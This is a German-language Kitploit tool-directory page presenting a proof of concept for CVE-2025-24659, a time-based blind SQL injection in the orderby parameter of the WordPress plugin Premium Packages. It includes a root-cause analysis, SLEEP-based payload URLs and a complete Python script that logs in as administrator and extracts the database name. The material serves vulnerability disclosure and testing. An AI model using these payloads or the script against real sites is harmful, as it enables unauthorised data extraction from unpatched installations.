Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-24659 — PoC of CVE-2025-24659 | Kitploit
Tools/GitHubGitHub/dottak/cve-2025-24659
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubdottak/cve-2025-24659

CVE-2025-24659

PoC of CVE-2025-24659

Repository anzeigen
11vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-24659

1️⃣ Komponententyp

WordPress-Plugin

2️⃣ Komponentendetails

Komponentenname Premium Packages – Digitale Produkte sicher verkaufen

Verwundbare Version <= 5.9.6

Komponenten-Slug wpdm-premium-packages

Komponentenlink https://wordpress.org/plugins/wpdm-premium-packages/

3️⃣ OWASP 2017: TOP 10

Schwachstellenklasse A3: Injection

Schwachstellentyp SQL Injection

4️⃣ Voraussetzung

Administrator

5️⃣ Schwachstellendetails

👉 Kurzbeschreibung

Eine SQL-Injection-Schwachstelle besteht in Version 5.9.6 und niedriger des Plugins Premium Packages – Digitale Produkte sicher verkaufen (im Folgenden als Premium Packages Plugin bezeichnet). Diese tritt aufgrund unzureichender Maskierung des URL-Parameters orderby beim Anzeigen der Bestellliste im Bestellmenü des Plugin-Dashboards auf (/wp-admin/edit.php?post_type=wpdmpro&page=orders).

Infolgedessen kann ein Angreifer mit Administratorrechten diese Schwachstelle ausnutzen, um auf alle in der Datenbank der Zielseite gespeicherten Informationen zuzugreifen.

Darüber hinaus erlaubt diese SQL-Injection-Schwachstelle zwar keinen direkten Datenabruf aus den Antwortdaten, Informationen können jedoch mit Hilfe von zeitbasierten Blind-SQL-Injection-Techniken extrahiert werden, die den Unterschied in den Antwortzeiten basierend auf wahren/falschen Bedingungen in SQL-Abfragen ausnutzen.

👉 So reproduzieren Sie (PoC)

  1. Melden Sie sich als Administrator bei einer WordPress-Seite an, auf der das Premium Packages Plugin installiert und aktiviert ist.

    Da das Premium Packages Plugin ein Addon für das Download Manager Plugin ist (https://wordpress.org/plugins/download-manager/), muss auch das Download Manager Plugin installiert und aktiviert sein.

  2. Nach dem Aufruf der untenstehenden URL ist die SQL-Abfragebedingung (1=1) immer wahr, sodass die Seite aufgrund der SLEEP(5)-Funktion nach 5 Sekunden angezeigt wird.

root@kitploit:~
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

image

  1. Andererseits wird die Seite beim Aufruf der untenstehenden URL sofort angezeigt, da die SQL-Abfragebedingung (1=2) immer falsch ist.
root@kitploit:~
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

image

👉 Zusätzliche Informationen (optional)

[Grundursache der Schwachstelle]

Beim Anfordern des Bestelllisten-Dashboards des Premium Packages Plugins wird die Datei /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php ausgeführt.

An dieser Stelle wird der Wert des URL-Parameters orderby ohne ordnungsgemäße Maskierung der Variable $orderby zugewiesen. Anschließend wird die Variable $orderby an die Variable $qry übergeben und vervollständigt die ORDER BY-Klausel in der SQL-Abfrage.

image

Dann wird die Variable $qry als Argument an die Funktionen totalOrders und GetAllOrders übergeben.

Diese Funktionen sind in der Datei /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php definiert, und der empfangene Argumentwert wird direkt in Datenbankabfragen verwendet.

image

Da der Wert des URL-Parameters orderby direkt ohne Maskierung in Datenbankabfragen verwendet wird, entsteht eine SQL-Injection-Schwachstelle.

[PoC-Code-Implementierung und -Ausführung]

  1. Öffnen Sie den PoC-Code in einem Editor und geben Sie die WordPress-Seitenadresse und die Administrator-Anmeldedaten ein.

image

  1. Geben Sie dann den folgenden Befehl ein, um den PoC-Code auszuführen.

    Required modules requests

    root@kitploit:~
    python poc.py
    

    image

⭐ PoC-Code

root@kitploit:~
import re
import time
import string
import requests

## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
    "https": PROXY_SERVER,
    "http": PROXY_SERVER,
}

SLEEP_TIMER = 1

def __login_get_session(login_id, login_pw):
    session = requests.session()
    data = {
        "log": login_id,
        "pwd": login_pw,
        "wp-submit": "Log In",
        "testcookie": 1
    }
    resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
    if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
        print(f" |- Successfully logged in with account {login_id}.")
        return session
    else:
        raise Exception(f"[-] Failed to log in.")

def poc_get_db_length(session):
    length = 1
    while True:
        payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
        params = {
            "post_type": "wpdmpro",
            "page": "orders",
            "orderby": payload
        }
        start_time = time.time()
        session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)

        if (time.time() - start_time) < SLEEP_TIMER:
            print(f" |- Database name length is greater than {length}.")
            length += 1
        else:
            print(f" |- Database name length: {length}")
            break

    return length 
    

def poc_get_db_name(session, db_length):
    
    db_name = ""
    for i in range(1, db_length+1):
        for char in string.ascii_letters + string.digits:
            payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
            params = {
                "post_type": "wpdmpro",
                "page": "orders",
                "orderby": payload
            }
            start_time = time.time()
            session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)

            if (time.time() - start_time) > SLEEP_TIMER:
                db_name += char
                print(f" |- Database name: {db_name.ljust(db_length, '*')}")
                break
    
    print(f" |- Successfully extracted the database name: {db_name}")

def poc():
    ####
    ## 1. Log in as administrator
    ####
    print(f"[+] Logging in with administrator account.")
    print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
    admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
    admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
    
    ###
    ## 2. Retrieve database name length
    ###
    print(f"[+] Retrieving database name length.")
    db_length = poc_get_db_length(admin_session)

    ###
    ## 3. Retrieve database name
    ###
    print(f"[+] Retrieving database name.")
    poc_get_db_name(admin_session, db_length)

if __name__ == "__main__":

    ## WordPress Target
    TARGET = "http://localhost:8080"

    ## Administrator ID/PW
    ADMIN_ID = "admin"
    ADMIN_PW = "admin"

    poc()

6️⃣ Exploit-Demo

video

7️⃣ Referenzen

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24659
Tool herunterladen